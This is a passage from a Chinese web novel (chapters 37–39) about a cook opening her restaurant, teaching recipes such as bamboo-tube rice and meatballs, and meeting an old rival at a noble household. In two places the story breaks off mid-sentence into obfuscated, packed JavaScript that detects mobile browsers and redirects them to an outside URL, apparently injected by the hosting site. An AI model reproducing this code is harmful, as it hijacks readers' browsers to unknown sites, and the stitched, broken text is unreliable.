但柳家上下众志成城,团结一心。 各自将自己的任务做到极致。 终于在半个月后,饭馆筹措妥当。 柳金枝叫人做了一块“柳氏饭馆”的招牌,高高挂起来。 “诸位!今日柳氏饭馆正式开业!” 37. 竹筒饭 柳金枝拿着火折子,走到一串红鞭炮下点燃。 噼里啪啦! 鞭炮瞬间热闹炸开。 柳金枝道:“今日到我饭馆用饭的客人们,全都享受折扣优惠!八折!” 众人瞬间欢呼,大批人挤进了饭馆之中。 柳霄走到柳金枝身边,道:“恭喜阿姐。” “好不容易到了今天,总感觉有些不现实。”柳金枝笑道。 “以后阿姐的生意会越来越好的。”柳霄说着,从袖子里摸出一个东西递给柳金枝“阿姐,送给你。” 柳金枝定金一看才发现那居然是一只钗。 钗身是用金包银打造的,钗头镶嵌了九颗小珍珠。 “我本来想攒钱给阿姐买一辆镂鍮装花盘架车,但没想到你比我更厉害,已经开了这家饭馆,那车也没用了,所以我就买了这支钗。” 柳金枝却是一愣:“你哪儿来的银子?” 柳霄道:“我帮我人家做题挣的。” 柳金枝这才回忆起来,在开饭馆的这半个月,她忙的脚不沾地,没太注意柳霄这段时间干了什么。 只是偶尔晚回来的时候,发现他房间里的灯还亮着。 柳金枝还以为他是在勤奋学习,没想到是在做这些。 “阿姐很喜欢。” 柳金枝心中一软,抬头看着柳霄眼底浓重的乌青,就知道这段时间他为了挣银子没怎么睡好。 “我只挣了四五钱,没能力给阿姐买更好的钗。但我发誓,等我以后有钱了,一定会给阿姐簪上这世界上最漂亮的首饰。” 柳霄咧嘴笑着,将珍珠钗插入柳金枝乌黑的发髻中。 柳金枝摸了摸发钗,问:“好看吗?” “好看,阿姐是这世界上最好看的女子。” “骗人。” 姐弟两个相视一笑,流淌着脉脉温情。 饭馆开张第一天,柳金枝做好了充足的准备。 买好的做饭需要用到的全部食材,都堆在膳房待用。 正好趁着阿芹也在,柳金枝干脆一边教学,一边做新饭馆的第一道菜—— 竹筒饭。 春日的新鲜翠竹,配上香香糯糯的米饭,很合适把它作为饭馆开业的第一道菜。 “阿芹,过来。”柳金枝对着阿芹招招手,“去挑些竹子,我们来做竹筒饭,做成了就当作免费菜品,为每位顾客都送上一份。” 这种开业大酬宾现代很多饭馆都搞,说到底还是为了在大竞争中,以让利的手段站稳脚跟。 柳金枝也是同样。 顺便还能让顾客们感受到他们柳氏饭馆的诚意和手艺,是一举多得的事情。 阿芹对柳金枝很崇拜,言听计从。 一听说要去拿竹子,就迫不及待的跑了过去,没过多久就哼哧哼哧地拖出来两麻袋竹筒,满头大汗道: “师父,竹筒有好多,但是大小、厚度都不一样,随便用哪个都可以吗?” 这就是教学的第一点。 柳金枝摇头,道:“当然不是,食物也有自己的脾性。如果用了不合脾性的东西,这会伤了食物的味道。” “就拿竹筒饭的竹筒来打比方吧,一般要用新鲜的粉竹或者是山竹,这样在蒸饭的过程中,才能够保证竹子的清香进入每一颗饭粒。” “另外米也是有讲究的,需要用山兰稻,也就是香米来配,口感才能够又有嚼劲,又清香扑鼻。” “现在你去拿山竹和香米来。” 阿芹听的两眼发亮,只觉得柳金枝说的每一句话都是知识点,很想拿个小本子全部记下来。 但她又舍不得做过柳金枝接下来的教学,于是赶紧拿好了山竹和香米,站到灶台前。 “师父,接下来怎么做?”阿芹问。 柳金枝道:“你看好。” 她拿起竹子,在清水里洗干净,再一一摆放在灶台上晾干。 在把香米也细细淘洗过一遍后,她也不急着将香米塞进竹筒中,而是把米放进一个干净的盆里,往中加入适量的盐,用竹箸搅拌均匀。 然后取来一块肥瘦相间的猪肉,用菜刀切成碎,也跟着一块丢进盆里,再度搅拌。 这样一来,香米、盐巴和瘦猪肉就完全混合了。 到了这一步,柳金枝才道:“现在可以把这些东西塞进竹筒里了。”又转过头对阿芹说,“去取一个烧烤架来。” 阿芹点头去了,用手脚麻利的把烧烤架架在灶眼上。 柳金枝自己也没歇着,转过头去取了一些芭蕉叶,把这些芭蕉叶塞在竹筒的开口,一片,两片,三片,塞到柳金枝确保竹筒里的饭不会落出来,才肯停手。 “把火钳递给我。”柳金枝伸手。 阿芹勤奋照做,一双圆溜溜的大眼睛认真的盯着柳金枝的每个动作,充满着求知欲和好学欲,似乎生怕错过任何一个知识点。 柳金枝见她这么勤奋好学,一边操作一边细心解释道: “我们要用火钳把这些竹筒一个接一个夹到烧烤架上。” “在烤的过程当中要注意火候。” “大火容易烤焦,小火容易不熟,还是中火为好。” 柳金枝夹了一个竹筒当做示范。 “你瞧竹筒的表面有一层膜,当火烤到这层膜的时候,它就会发生卷曲。” “但是新鲜的竹筒水分多,一时之间不会烤焦,里面的饭和肉也不会熟。” “所以要想知道里面的饭的生熟情况,就观察竹筒的表面。” “什么时候竹筒的膜被烤焦了,那里面的饭和肉就熟了。” 阿芹小鸡啄米似的点点头,又看柳金枝一个人操持偌大的膳房十分辛苦,就自告奋勇道: ”师父,你去坐着休息吧,这些粗活我来干。等竹筒的表层被烤焦了,我再来告诉你。” 柳金枝见她积极的模样,心中颇感宽慰,也算是明白为什么会有一些老师傅喜欢收小弟子了。 每当自己传授经验时,不管这种经验有没有用,都能收获小弟子一双亮亮的星星眼,以及无敌崇拜的“哇哦”,是个人都会觉得情绪价值被拉满。 更何况阿芹还那么积极,膳房里的杂活儿她都抢着干,实在是给柳金枝省了很多事情。 所以柳金枝也不和阿芹客气,爽快地放开手,站在一旁指导阿芹把剩余的竹筒一个接一个放上烧烤架。 看着阿芹虽然忙,但满脸带笑的样子。 柳金枝有预感。 阿芹以后一定能在美食这个领域闪闪发光。 毕竟当一个人在自己所热爱的行业孜孜不倦地钻研下去时,她未来一定能迎来光明,区别只是早一些,和晚一些。 饭馆里头热热闹闹。 过了春闱,潘琅寰终于没借口把潘安玉按在家里读书了,所以潘家兄弟加上应天爵——项志轩等人都来祝贺,顺便帮柳金枝撑撑场子。 柳金枝自然不能白白辜负他们这番美意,于是找到应天爵,请应天爵带着他那帮兄弟们在门口排队,做出一副饭馆爆火的假象。 应天爵自然拍着胸脯应下。 这种现代网红营销手段古代还缺,外人一瞧见这个新开的小饭馆排队排得老长,里头座无虚席,还以为这家店子手艺高超。 于是不消半个时辰,柳氏小饭馆再度吸引了一波新客。 大家就着单子牌面七嘴八舌的点菜。 因为阿芹还没找到好的店小二,杜卫又要时不时出去送菜,报菜名的事儿就只能请亲友顶上。 潘琅寰、应天爵和项志轩自不必说,他们仨一个是位高权重的掌权人,一个是汴京帮闲,一个是文弱书生,都无法胜任。 只有潘安玉,不仅对菜名熟悉,还积极的不得了。 “您要什么?好嘞!一碗馉饳!” “来来来,客官里面儿请!” “得令,您听我给您报哈,一碗蝌蚪粉……” 潘安玉忙的不亦乐乎。 几个人的视线随着潘安玉一会儿跑到左,一会儿跑到右,脚不沾地。 潘琅寰见潘安玉没一会儿就累出了满头大汗,本来还想让潘安玉休息休息。 只是他一看潘安玉一双亮晶晶的眼睛,这话不由咽进了肚子里。 项志轩感叹道:“潘相公,其实潘兄他是真的很喜欢做菜,您瞧他,报起菜名的时候,比念书顺溜多了。” 应天爵也点头,道:“我听过潘兄念书,一篇《论语》从头到尾念得磕磕绊绊的,被逼急了,就一边念一边哭,哪儿像现在这么高兴。” 潘琅寰神情复杂。 他承认这俩人说得对,在饭馆里待着,潘安玉看起来是开心多了。 但是潘琅寰冷下脸道:“安玉他迟早要自己当家的,不去读书,只会做菜算个什么?能养活自己吗?” 话一说出口,应天爵和项志轩就忍不住扭过头来看了他一眼,又指了指爆火的柳氏饭馆。 这意思很明显。 “但他也没有柳娘子的手艺!”潘琅寰皱眉。 “没有手艺就学啊,潘相公,您一开始从老爷子手里接手生意,打理潘家的时候,也没有现在这么得心应手啊。” 项志轩笑道。 “是啊,说真的,潘家有您一个也就够了,您和潘兄弟的年岁相差也不大,何必那么发愁潘兄弟的未来呢?” 应天爵也帮着劝。 “干脆这样,您给潘兄弟开个饭馆,让潘兄弟主理。是赚是赔,就看他自个儿。要是万一将来做大了,也能有个安身之本不是?” 潘琅寰还是没松口,但望向潘安玉快乐的像蝴蝶一样飞来飞去的背影,眸光还是没有像往常一样锋利。 “再说吧。” 潘琅寰摆摆手。 项志轩与应天爵两个对视一眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581414|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 应天爵悄悄笑道:“真该让柳娘子来劝他,保准儿一劝一个好。” 项志轩煞有其事地点头。 正说着,膳房里陆陆续续端上来食客们点的饭食,还有一份额外赠送的竹筒饭。 潘琅寰、项志轩和应天爵三人也得到了一份儿,算是给他们来捧场的犒劳。 见了吃食,三人也就把刚才的话题带过了。 应天爵笑道:“我听说云南那边倒是流行这样的吃食,把个饭塞在竹筒里烤熟。但也只听过,没吃过,这会子倒是大姑娘上轿头一回。” 项志轩拿过来一个,问:“说多不如吃一口,来,试试。” 就拿起旁边的竹箸,把竹筒口的芭蕉叶轻轻一挑! 瞬间,一股浓郁的饭香,混杂着肉香和竹子的清香一块儿飘入鼻中。 引得应天爵眼前发亮,连声道:“我就知道柳妹子的手艺不会出错!” 也不顾烫,连忙伸手抓了一个敲开,把里头的饭倒出来。 不知这竹筒饭的米饭是怎么做的,居然颗颗分明,呈现圆润饱满的形状。中间掺杂着一两块小碎猪肉,叫人食指大动。 应天爵可不讲究那么多,直接扒了一口,瞬间觉得这米饭香弹软糯有嚼劲,猪肉切的细碎,却保留了肉香,和盐巴、米饭、竹香混杂在一起,恨不得把舌头鲜得掉下来。 其余二人虽然吃相文雅些,但也是速度极快,一个竹筒其实也不大,三个大男人没一会儿就吃完了。 潘琅寰深呼一口气,犹觉不足地唤道:“安玉,再去给我点一份儿。” 潘安玉却不满地皱皱眉:“哥,我现在是工作时间,你得管我叫小二。” 潘琅寰:…… 他真想一马鞭抽死这个小兔崽子。 但看在竹筒饭的面子上。 “小二……”潘琅寰黑着脸,“给我来一份竹筒饭。” “诶,好嘞!”潘安玉一下子活泼起来,笑容满面,“您等着,我这就去,竹筒饭一份儿!” 与此同时,其余吃了竹筒饭,却因为一份量太少根本不够吃的食客们,也纷纷举手点菜。 “小二,我也要一份!” “也给我一份!” “小二……” …… 强大的呼声将柳金枝从后厨唤了出来。 她笑呵呵地拉出单子牌面。 “诸位,竹筒饭第一份是本店友情赠送,但第二份就要诸位花钱购买了。”她比出三根手指,“一份,三十文。” 这下子应天爵算是知道柳金枝打得什么算盘了。 他笑道:“我这妹子就是精明,我说她怎舍得送我们一人一份竹筒饭呢,原来是在这儿等着呢。” 尝过了滋味,又没吃饱的食客很容易被食欲吊起来。 欲望一浓,就管不住自个儿的钱袋子。 果然,在场但凡是尝过竹筒饭的,纷纷掏银子买了下一份儿。 三十文啊。 搁外头能买一斤肉了,吃朝食都能吃两遍了。 现在却拿来买一份儿竹筒饭。 但此时此刻,没人嫌贵。 柳金枝笑着进了膳房,道:“阿芹,再准备五十份儿竹筒饭!” 今天的柳氏小饭馆可谓是一炮而红,生意爆火。 开业就能达到如此水平,也让小饭馆成功在汴京扬了一些名声。 至少太常寺附近几条街的居民都知道了有个新开的柳氏小饭馆了。 唯一对此不满的,大概就只有孙玉香了。 “你说什么?那贱///人什么时候有如此手艺?!” 孙玉香嫉恨地瞪大了眼睛。 “哼,柳金枝以前惯会在娘子面前装可怜,说不定她早会做菜,却一直藏着掖着不肯说,就是不肯为娘子出力。” 这番话说的孙玉香更是气恼。 “往日她在时,恰逢公公寿诞,她明知道我为了操办好宴席,连夜去寻手艺高超的饭局局长。她明明什么都会,却眼睁睁瞧着我着急上火,半个字都不愿意吐露。” 孙玉香咬牙切齿。 “亏我往日还将她当做知心姐妹,果然!她和你们说的一样,是个早就觊觎我家富贵的贼//贱//妇!” 她气得恨不得落下泪来。 丫头叹了口气,劝道:“娘子,知人知面不知心,您以前就是太心善,才会被她骗。如今三郎君应了考,您又稳坐后宅,前途一片光明啊。” 说着,就搀扶着孙玉香往前走了两步。 “现下最要紧的,是和汴京城的官家小姐,高门夫人们交好,彻底稳固住自己的地位。” 孙玉香吐出一口浊气,道:“你说得对。” 她抖开一张帕子,擦了擦眼角,重新朝前方一座宅邸走去。 仰头一看,那宅邸上的牌匾龙飞凤舞地写着两个字—— “傅府”。 38. 彩色春饼福袋 柳氏饭馆开业全仰仗傅钗华襄助。 于情于理,柳金枝都应该上门拜谢。 所以在第二天,她就预备做一道“彩色春饼福袋”,亲自送给傅钗华。 因为这道菜需要集齐多种颜色。 柳金枝就按照前些日子做紫荆花水晶饺的方法,让月牙帮她去邻居家又摘了一篮子紫荆花,另外还备下了菠菜、山楂果子、香菜……等等。 紫荆花放入石臼里,捣出来的颜色就是深紫色。菠菜是碧绿色。山楂果子是浅红色。 把这三碗汁水摆在一边,又拿出面粉来和清水。 等到面揉得半稀不干的时候,把这一团面分作三份儿,分别倒入紫荆花汁、菠菜汁和山楂果子汁上色。 阿芹想要过来帮忙,但柳金枝觉得她手上力气不够大,揉出来的面不够劲道,就只让她帮忙烧水。 但就是这样的粗活儿,阿芹也做的很仔细。 柳金枝很喜欢阿芹这股奋发向上的学习劲头,问道:“阿芹,你有没有想过当这饭馆的主厨?” “啊?”阿芹愣了愣,不好意思地说,“可我听说主厨都得是有一门绝技才能当的,我没有什么独门的手艺,当不了。” 柳金枝笑了笑,道:“你会做什么?” 阿芹挠挠头,道:“我是山西人,最会做我们哪儿的家乡菜,糖醋丸子、过油肉……之类都会一些,但不算精通。” “那你做给我试吃一下。”柳金枝道。 阿芹点点头,另起了一口灶眼。 等柳金枝把面揉好,放在一边醒面的时候,阿芹已经把食材都找了出来。 她预备做糖醋丸子。 这类丸子都是拿新鲜猪肉做的,喜欢不同口味的,还可以往肉里放点萝卜碎。 不过阿芹偏向于纯肉丸,所以她将猪肉拿出来切碎、打成泥,放入盆中,再加调味料,如盐、蚝油、酱油…… 用竹箸顺着一个方向搅和,搅和几次之后加一次葱泡水,紧接着再搅和。 等到搅和到手上阻力变大,猪肉都粘在盆上搅不动了,这样做出来的肉丸不仅不会散,而且非常具有弹性。 柳金枝帮阿芹起锅烧油,两人一块用瓷调羹挖了一勺子肉馅儿,捏吧捏吧做成圆丸子,放入油锅中去炸。 滋啦一声—— 金黄的油围在肉丸子周边,将猪肉炸出诱人的味道。 但炸肉丸顶多就炸五分钟,因为如果炸的太久了就会把肉丸炸黑,肉质也会变老,嚼起来就会硬邦邦的,没有弹性。 所以在锅中翻腾五分钟,表皮酥脆金黄之后,阿芹就把油炸丸子倒入一个干净的盆中。 才刚落进盆里,丸子就在盆底弹了两下,才滚落到一边安静不动了。 柳金枝对这丸子的弹性颇为意外。 一盘肉丸大概二十几个,本来也是试做,所以阿芹做的更少,只炸了十个左右就开始调酱汁。 一勺生抽,一勺老抽,两勺陈醋,四勺白糖,还有盐和淀粉等等调味料都放在一个干净碗里面搅拌均匀备用。 下一步就是起锅将葱花姜末爆香,炒到一定程度后,再把调好的酱汁倒进去,反复翻炒到浓稠。 先放蒜末,再放丸子,紧接着继续翻炒到锅里的酱汁,让酱汁均匀沾染到每一个丸子的身上,变成酱油香色。 本来经过油炸的丸子就有一种酥脆的油香,此时经过反复大火煸炒,更是炒出一种肉香。 最后起锅收盘,撒上芝麻、葱花,一盘山西特色菜——糖醋丸子就做好了。 柳金枝夹了一个起来吃,阿芹面露期盼的看着他。 “师父,怎么样?味道还行吧?”阿芹问。 柳金枝点点头:“味道还不错,但是——” 她又回味了一番,感受着嘴里丸子的味道。 “先说优点,丸子确实很弹、很有嚼劲,调出来的酱汁也很好吃。因为油炸的时间不长,所以保持了肉丸的鲜味,还带着一股淡淡的油香。” “但问题是,如果肉丸里不加任何素菜,吃多了就会导致食客腻味,更何况这个肉丸本来就经过油炸和翻炒,重油重盐,会加快腻味的速度。” “第二,肉馅虽然香,但更多的是原味,味道失于平淡,你应该多加一些五香粉来调味。” “另外,你的肉丸口感太过厚重了,一口下去全是肉味儿。其实你应该加些面粉、包子等面食类中缓一下,这样会让你肉丸的味道更清淡。” 柳金枝放下竹箸:“但我觉得这盘菜很有成为招牌菜的潜力,只是配方需要我们再改变精进一下。” 阿芹听的两眼放光:“师父说的有道理,我现在再去试试。” 柳金枝点点头,放任阿芹再去重新准备肉馅儿。 刚好她的面也发的差不多了。 于是把面团揪出来,按照颜色一个个揪拽成小块,再用擀面杖擀成薄皮。 这次的饺子皮不比上一次,这一次她在揉面团的过程当中特意加入了碱水,作用是让饺子皮变得更薄,更嫩,更韧。 就像现代包云吞的皮一样。 馅儿包在皮里面,都能隐隐约约的透出模样。 三种不同的颜色,每一类她一共擀出了十片,然后垒在旁边备用。 至于里面的馅儿应该放什么? 柳金枝定下的是蔬菜丁馅儿。 把一些春日里常见的蔬菜都拿过来,比如梢瓜、芦菔、茭首、莴苣、野山蕈……等等。 全都切丁、焯水,再加生抽和蚝油在锅里炒匀。 等炒到素菜都散发出清香的味道。 柳金枝就拿过饺子皮,一边在皮上涮油,一边将这些素菜都包到皮里。 这道菜的名字竟然叫做彩色春饼福袋,那最后做出来的样子自然与福袋相似。 所以在包完馅儿之后,柳金枝没有像做饺子一样简单的把皮捏在一起,而是将早就准备好的香菜焯水。 等到香菜焯软之后,将之当做绳子,把饺子皮像包袱皮一样拴起来,扎成一个福袋的样子。 从外面看这福袋的皮又薄又透,可以看见里头红红绿绿的蔬菜丁。更别提几种不同颜色的福袋凑在一起,看起来花花绿绿,煞是吉祥好看。 最后柳金枝把这些福袋放入蒸笼里面蒸一遍,每五个放进一个碟子,收成了两个食盒,一左一右提着,坐上驴车去了傅府。 依旧是双儿给她开的门,二人并肩穿过回廊,往后院里走。 双儿道:“娘子来的真是巧,正好有一位娘子正陪着我家夫人说话。我家夫人当着她的面夸你手艺好,那位娘子还说想要试试你的手艺呢。” 以傅钗华的身份,她当着人家的面夸赞柳金枝,其实是在给柳金枝抬面子。 柳金枝很感谢傅钗华对她的帮助,道:“主家已经帮了我很多,再对我这般好,我真是不知道该怎么报答了。” 双儿道:“我家夫人常说与人方便就是与己方便,娘子只要好生照顾好夫人的胎,其余的都没什么。而且撇开我家夫人不谈,其实我私心里也希望娘子多过府来走走。” 柳金枝不理解双儿为什么这么说。 大概是柳金枝的人品值得信任信任,双儿也不打哑谜,道: “我不是说现在正有位娘子陪着夫人说话?她不止是今日来,她是日日来。” “来了以后就缠着夫人,夫人想要休息,明示暗示让她走。” “可人家就跟听不懂话一样。” “甚至夫人在里头睡觉,她就在外头等着,这般行径当真让人……” 双儿撇了撇嘴,没把话说完。 但柳金枝也知道双儿怕是对这位娘子十分瞧不上。 不过豪门大家的事情轮不到柳金枝多插嘴,听过了就当是没听过,安静做一只情绪垃圾桶。 最多时不时再安慰一下双儿,承诺下一次来见她,多带一些吃食给她。 果然,双儿看柳金枝的眼神软了不少,想是更加喜欢柳金枝了。 “哦,对了,双儿姐姐,这个食盒还请你帮我交给二郎君。” 柳金枝把一只食盒递给双儿。 “里头的吃食与夫人的一样,都是彩色春饼福袋。” 双儿接过食盒,爽快答应:“好,我一定送到。” 其实一开始,双儿也怀疑柳金枝对傅霁景有不轨意图。 但后来发现柳金枝只是单纯报恩,从来没有借着吃食去与傅霁景单独见面,也不会在府内多说什么。 是个很老实本分的人,双儿也就慢慢放下了戒心。 再加上杏安一直在她耳边念叨柳金枝的菜,她把这食盒送过去,也可以堵住杏安那烦人的嘴了。 与此同时,傅霁景处。 傅霁景穿着一身暗碧色春裳,正站在一张长案前,仔细观察手中的一块羊脂玉。 而长案上还放着许许多多的礼盒,每个盒子里面都放着或金、或银、或珍珠、白玉的钗、簪、镯子一类。 “杏安,你觉得用这个去贺柳娘子开店大吉如何?” 傅霁景扭过头问杏安。 杏安撑着脸,道:“二郎是要自己亲自送,还是让我跑腿去送?” 傅霁景犹豫了一下,道:“在礼数上,自然需要你去送。” “那二郎就看着挑吧,送什么都没区别。” 杏安耸耸肩。 傅霁景:…… 傅霁景慢吞吞道:“却也不能这样挖苦我。” 杏安哼哼两声,道:“二郎,你对柳娘子什么心思,我可不瞎。只是既然心悦人家,为何不大方些?” 傅霁景抿了抿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588198|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇,低声道:“我有我的顾虑。” “确实,如二郎这般的身份,婚嫁之事确要慎重。”杏安叹了口气,“但柳娘子是个一顶一的好人,你今个儿不主动一些,明个儿指不定柳娘子就有人家了。” 傅霁景眉心一皱:“谁?” “应天爵告诉我的,有家姓潘的,对娘子似是很青睐。”杏安凑近了傅霁景,低声开口,“听说那家的家主有位义父,乃是宫内的曹大监!” 曹大监,便是天子身边的近侍。 听说曹大监进宫改姓之前,本家就是潘姓,与这潘家必然是沾亲带故。 如今潘家的掌权人又认了他做义父,更是亲上加亲。 于情于理,曹大监都会为潘家多加考虑。 傅霁景攥紧了手中的羊脂玉,第一次感受到了紧迫和茫然。 而另一边,傅钗华的房间内。 柳金枝端着食盒进门,刚给傅钗华行完礼,站起身时,却在傅钗华身边见到了一个意料之外的人。 孙玉香与柳金枝双目相对,互相都感到一丝错愕和惊诧。 甚至孙玉香身边的丫头忍不住低叫了一声:“娘子,竟然是她!” 这般情况,除非傅钗华是个聋子、瞎子,否则一定能看出孙玉香和柳金枝相互认识。 傅钗华笑道:“怎么?你们二位莫不是有些渊源?” 柳金枝与孙玉香对视了一眼。 孙玉香眼神紧张,面色微微发白,似乎很怕柳金枝在傅钗华面前揭她的短。 柳金枝眉峰一挑,眼眸中流露出些许不屑。 她是看不起孙玉香这般欺软怕硬之辈的。 二人打了几秒钟的眉眼官司,柳金枝才开口,道:“回主家的话,我与这位娘子确实认识。” 柳金枝将自己过去的经历全盘托出,不过为了双方面子着想,她略过了跪死在雪地里的那一场。 这也不是为了替孙玉香遮掩,而是她即便在傅钗华面前控诉了孙玉香的不是。 傅钗华又不是青天大老爷,难道还能判了孙玉香去打板子不成? 况且她也不想在傅钗华面前留下背刺旧主的印象。 只要孙玉香还是老样子,迟早是要在傅钗华面前丢丑的。 她不必去趟这趟浑水。 孙玉香自然也不想让傅钗华觉得自己恶毒,她可是早听说过傅府“与人为善”的名声。 也就咬了咬牙,勉强点头笑道:“是啊,我们曾是主仆,但后来柳娘子奴期满了,我就放她回了汴京。” “竟然这么巧。”傅钗华笑着让柳金枝也坐下,“看来这个世界真是小,兜兜转转总能遇到熟人。” 柳金枝皮笑肉不笑地瞥了孙玉香一眼。 “我方才还在孙娘子面前夸你呢,说你手艺好,孙娘子说有机会也把你请到家里去主持四司六局。” 傅钗华笑着说道。 孙玉香顿时面色难看。 她来傅府本就是想来巴结巴结傅钗华,谁不知道现在整个汴京就属傅家权势最大? 所以自然是傅钗华说什么,她就跟着附和什么了。 谁知道对方赞不绝口的膳工娘子,居然就是柳金枝! 孙玉香只觉得胸口闷得慌,她巴结不上的人,倒叫柳金枝攀上了。莫名矮了一头不说,就是以后想再针对柳金枝都不好下手了。 “若得孙娘子相请,自然是我的福气。” 柳金枝淡笑着说,随后从食盒里取出彩色春饼福袋来,一一摆在桌面上,岔开了话题。 “来,主家试试这个,叫彩色春饼福袋,一个小袋子装些福气,愿主家吃了以后,能福盈满门,保佑肚子里的孩子平平安安,聪明伶俐。” 柳金枝笑眯眯地说。 她是惯会夸人的,也很聪明,知道要夸一位准母亲,就要赞扬对方的孩子。 果然,傅钗华听后很高兴,笑道:“我也希望这孩子将来能和二郎一般出色。” 孙玉香不满柳金枝一进来,就引得傅钗华只注意她一个,也就插嘴道:“说到二郎君,好像就快放榜了吧。二郎天资聪颖,必然能得个好名次。” “我听说今年春闱佼佼者众多,二郎未必能名列前茅,还是明日看看再说吧。” 傅钗华谦虚着,唇边却含着笑意,尔后又似想起什么,问: “对了,我听说候三郎今年也下场了,可有把握?” 柳金枝耳朵动了一动,看向孙玉香。 别的她不在乎,但侯三郎这个捣子若是能中举,就真是老天不开眼了! 孙玉香掩着帕子笑道:“我家三郎自从回了汴京就日夜苦读,我想应当是有些希望的。” 言语之间,得意地看了柳金枝一眼。 柳金枝:…… 谁能来给孙玉香一巴掌?! 39. 水晶梨子 小饭馆开业,红红火火。 第三日时,应天爵、项志轩还有潘琅寰、潘安玉都送来了贺礼,傅府也是一样。 不过让柳金枝奇怪的是,傅霁景的贺礼不仅独立在傅府之外,而且送的还是块玉佩。 可柳金枝……用不上玉佩。 她更喜欢潘琅寰送她的镂鍮装花盘架车。 那可真是她心心念念了好久的东西。 还有潘安玉送她的镶金柄锅铲,拿出来炒菜又帅又有面儿,显得她好像特富贵一样。 项志轩更是送了她一本珍藏的食谱,里头有很多柳金枝在现代就想知道的膳食配方。 唯有傅霁景这个,中看不中用。 但柳金枝摸着这块玉佩想了想,还是没把它收起来,而是在腰上寻摸了个地方。 挂上了。 * 往后日子照旧,但离开了太常寺周边,没人在耳边嚼闲言碎语,孙玉香也没来找麻烦,生活还是更加轻快了一些。 正是这个时候,杜卫来报,他打听到那几个无赖的住处了。 “他们住哪儿?”柳金枝问。 “宣泰桥附近。”杜卫道。 宣泰桥? 柳金枝气得一笑。 怎么这地方专门出地痞无赖?她那个被流放的好舅舅可就是从宣泰桥出来的。 “杜卫,你找人继续盯着他们,看他们接下来预备做什么。” 柳金枝道。 杜卫点头。 此后又小半月,饭馆生意异常红火,柳金枝没时间再去关注其他,一心一意扑进生意里。 直到春闱放榜了。 这一天无论是下场还是没下场的,都挤在了礼房前争相查看名次。 考中的欣喜若狂,满面红光。 没考中的仰天大哭,甚至有人数度晕厥,需要有家里人搀扶回去。 柳金枝和柳霄也去凑了一下热闹。 这张贴在布告栏上的团榜写满了密密麻麻的名字,从录取的第三百名到最中间的第一名。 唯有第一名的名字是用朱红笔墨写的。 醒目又刺眼。 柳金枝看见那个名字是傅霁景。 没人觉得意外,傅霁景不得这个名次才意外。 柳霄感叹了一句,道:“阿姐,若我以后也能像傅郎君这般得中魁首就好了。” 柳金枝也深有感触地点点头,道:“阿姐回去给你多做点鱼吃。” “干什么?” “补补脑子,说不定就能考中了。” 柳霄失笑,道:“阿姐你就会打趣我,你且等着,我一定考给你看。” “那好,我就等着当魁首的姐姐。” 姐弟二人相视一笑。 但是柳金枝没忘记一件事情,她凑上前把整个榜单从头看到尾,又从尾看到头,反复三遍。 柳霄不解,问:“阿姐,你是在找项志轩和潘安玉吗?” 说着就给柳金枝指,“项志轩在这儿呢,第一百三十二名。潘安玉没考上,这里头没他的名字。” 柳金枝摇头道:“他俩什么水平我还不清楚?我没找他们,找的是另一个。” “哪个?” “一个姓候的捣子,哦,对了,就是那孙玉香的相公。” 等到柳金枝反复确认过,都没找到那个候三郎后,顿时春风满面。 “我就说候三郎这个捣子不可能考上,就他那样儿,读《论语》都磕绊。” 柳金枝爽的不得了。 “也只有孙玉香拿他当个宝,成天藏着掖着不给人家瞧,生怕人家跟她抢。” “上回在我面前还洋洋得意地说,她家夫郎是很有希望高中的。” “结果名落孙山!” 上回从傅府回来之后,柳金枝就惦记着这事儿,憋了许久。 此时考试成绩尘埃落定,柳金枝终于能放开了吐槽孙玉香了,当然,柳宵也很乐意听。 姐弟两人一路走,一路聊,都乐呵呵的。 但到了饭馆儿门口一看,倒是见着了个不速之客。 傅霁景与杏安两个站在门口,傅霁景一身春裳,眉眼温柔儒雅。 杏安站在后头对着柳金枝机灵地眨了眨眼,笑道:“柳娘子,我们可等着你回来了。” “饭馆里头有杜卫、阿芹,你们有事大可以先寻他们。”柳金枝颇为意外,“怎么等在门口了?也不怕累着。” 一边说着,一边请人进屋,又道恭喜傅霁景得中榜首。 傅霁景温声谢过,又道:“我有一事,还是与你面对面交谈会更好一些。” “什么?” “我想借贵宝地办一期同期集会。” 站在现代的时间线往古代回看,总能发现不少文人写过怀念友人的诗。 有些重情义的,还会在友人落难时帮一把。 联系更紧密些的,就能组成一个文官集团,互相扶持,两肋插刀。 然而若是有人做过研究分析,就可以发现,这些人所帮扶、怀念的友人都并非自己的同窗,而是自己的同期。 也就是一起考取功名的人。 只是考生们来自天南海北,能凑在一起的日子,不过是考场上的答卷时光,哪儿来的时间培养这么深厚的感情? 答案就是:同期集会。 每次有中举名单出来,就会有人整理成册,分发到每个考生的手里。 再由其中最有名望的考生举办一个同期集会,让大家都来参与,互相认认人,交交朋友。 到后来,这种集会与其说是朋友碰面,倒不如说是搭建自己在汴京的人脉关系网的第一步。 所以有些寒门学子哪怕是借钱都要参与,为的就是将来的官路走的平坦些。 如果傅霁景选择柳氏饭馆作为同期集会的场所,柳金枝不仅能赚到银子,还能让柳霄多结识一些人物。 简直是一举两得的事情。 柳金枝都没想到这么好的事情能落在自己头上,忙不迭答应下来。 “傅郎君,你们大概什么时候来?” 